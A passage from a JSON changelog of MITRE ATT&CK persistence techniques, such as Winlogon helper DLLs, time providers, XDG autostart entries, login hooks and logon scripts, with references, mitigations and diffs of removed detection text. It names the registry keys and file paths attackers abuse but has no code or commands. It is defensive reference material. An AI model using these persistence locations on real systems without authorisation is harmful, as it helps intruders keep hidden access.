"description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
"url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Module: Module Load\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:46.245000+00:00\", \"old_value\": \"2025-04-25 14:46:38.641000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1025: Privileged Process Integrity"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0542: Registry and LSASS Monitoring for Security Support Provider Abuse"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 19:00:32.917000+00:00",
"modified": "2025-10-24 17:48:44.403000+00:00",
"name": "Shortcut Modification",
"description": "Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176/001)) to persistently launch malware.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/009",
"external_id": "T1547.009"
},
{
"source_name": "Shortcut for Persistence ",
"description": "Elastic. (n.d.). Shortcut File Written or Modified for Persistence. Retrieved June 1, 2022.",
"url": "https://www.elastic.co/guide/en/security/7.17/shortcut-file-written-or-modified-for-persistence.html#shortcut-file-written-or-modified-for-persistence"
},
{
"source_name": "BSidesSLC 2020 - LNK Elastic",
"description": "French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.",
"url": "https://www.youtube.com/watch?v=nJ0UsyiUEqQ"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"David French, Elastic",
"Bobby, Filar, Elastic",
"Travis Smith, Tripwire"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:44.403000+00:00\", \"old_value\": \"2025-04-15 19:58:28.507000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\\n\\nMonitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\\n-\\n-Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1038: Execution Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0180: Detection Strategy for T1547.009 \u2013 Shortcut Modification (Windows)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 15:51:52.317000+00:00",
"modified": "2025-10-24 17:48:51.278000+00:00",
"name": "Time Providers",
"description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\`.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/003",
"external_id": "T1547.003"
},
{
"source_name": "Github W32Time Oct 2017",
"description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.",
"url": "https://github.com/scottlundgren/w32time"
},
{
"source_name": "Microsoft W32Time May 2017",
"description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
"url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings"
},
{
"source_name": "Microsoft W32Time Feb 2018",
"description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.",
"url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top"
},
{
"source_name": "Microsoft TimeProvider",
"description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"
},
{
"source_name": "TechNet Autoruns",
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Scott Lundgren, @5twenty9, Carbon Black",
"Harun K\u00fc\u00dfner"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:51.278000+00:00\", \"old_value\": \"2025-04-15 19:58:35.700000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)\\n\\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)\\n-\\n-The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1024: Restrict Registry Permissions"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0122: Detect Abuse of Windows Time Providers for Persistence"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 16:59:59.688000+00:00",
"modified": "2025-10-24 17:48:53.539000+00:00",
"name": "Winlogon Helper DLL",
"description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/004",
"external_id": "T1547.004"
},
{
"source_name": "Cylance Reg Persistence Sept 2013",
"description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
},
{
"source_name": "TechNet Autoruns",
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Praetorian"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Module: Module Load\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.539000+00:00\", \"old_value\": \"2025-04-15 19:58:37.982000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\\n\\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\\n-\\n-Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1038: Execution Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0404: Detect Winlogon Helper DLL Abuse via Registry and Process Artifacts on Windows"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-09-10 18:13:12.195000+00:00",
"modified": "2025-10-24 17:49:30.252000+00:00",
"name": "XDG Autostart Entries",
"description": "Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user\u2019s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user\u2019s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)\n\nAdversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user\u2019s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.\n\nAdversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/013",
"external_id": "T1547.013"
},
{
"source_name": "Free Desktop Application Autostart Feb 2006",
"description": "Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.",
"url": "https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html"
},
{
"source_name": "Free Desktop Entry Keys",
"description": "Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved November 17, 2024.",
"url": "https://specifications.freedesktop.org/desktop-entry-spec/latest/recognized-keys.html"
},
{
"source_name": "Red Canary Netwire Linux 2022",
"description": "TONY LAMBERT. (2022, June 7). Trapping the Netwire RAT on Linux. Retrieved September 28, 2023.",
"url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Tony Lambert, Red Canary"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Command: Command Execution\", \"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:30.252000+00:00\", \"old_value\": \"2025-04-15 19:59:14.885000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\\n \\nSuspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\\n- \\n-Suspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1033: Limit Software Installation"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0390: Linux Detection Strategy for T1547.013 - XDG Autostart Entries"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:38.910000+00:00",
"modified": "2025-10-24 17:48:20.077000+00:00",
"name": "Boot or Logon Initialization Scripts",
"description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1037",
"external_id": "T1037"
},
{
"source_name": "Anomali Rocke March 2019",
"description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.",
"url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"
},
{
"source_name": "Mandiant APT29 Eye Spy Email Nov 22",
"description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.",
"url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS",
"Windows",
"Linux",
"Network Devices",
"ESXi"
],
"x_mitre_version": "2.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Windows Registry: Windows Registry Key Creation\", \"Command: Command Execution\", \"File: File Creation\", \"Process: Process Creation\", \"Active Directory: Active Directory Object Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:20.077000+00:00\", \"old_value\": \"2025-04-15 19:58:02.121000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.\"}}}",
"previous_version": "2.4",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1024: Restrict Registry Permissions"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0026: Active Directory (Active Directory Object Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0112: Boot or Logon Initialization Scripts Detection Strategy"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-10 16:01:15.995000+00:00",
"modified": "2025-10-24 17:48:42.963000+00:00",
"name": "Login Hook",
"description": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1037/002",
"external_id": "T1037.002"
},
{
"source_name": "Login Scripts Apple Dev",
"description": "Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022.",
"url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html"
},
{
"source_name": "LoginWindowScripts Apple Dev",
"description": "Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022.",
"url": "https://developer.apple.com/documentation/devicemanagement/loginwindowscripts"
},
{
"source_name": "Wardle Persistence Chapter",
"description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.",
"url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf"
},
{
"source_name": "S1 macOs Persistence",
"description": "Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020.",
"url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"File: File Modification\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.963000+00:00\", \"old_value\": \"2025-04-15 22:46:43.054000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.\"}}}",
"previous_version": "2.0",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0244: Detection Strategy for Login Hook Persistence on macOS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-10 03:43:37.211000+00:00",
"modified": "2025-10-24 17:49:33.610000+00:00",
"name": "Logon Script (Windows)",
"description": "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1037/001",
"external_id": "T1037.001"
},
{
"source_name": "Hexacorn Logon Scripts",
"description": "Hexacorn. (2014, November 14). Beyond good ol\u2019 Run key, Part 18. Retrieved November 15, 2019.",
"url": "http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/"
},
{
"source_name": "TechNet Logon Scripts",
"description": "Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.",
"url": "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
